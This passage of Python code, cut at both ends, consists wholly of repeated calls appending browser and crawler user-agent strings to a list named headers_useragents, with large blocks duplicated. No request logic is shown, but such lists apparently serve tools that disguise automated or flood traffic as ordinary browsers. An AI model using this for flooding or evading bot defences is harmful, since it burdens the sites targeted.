MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1') headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)') headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)') headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0') headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)') headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; 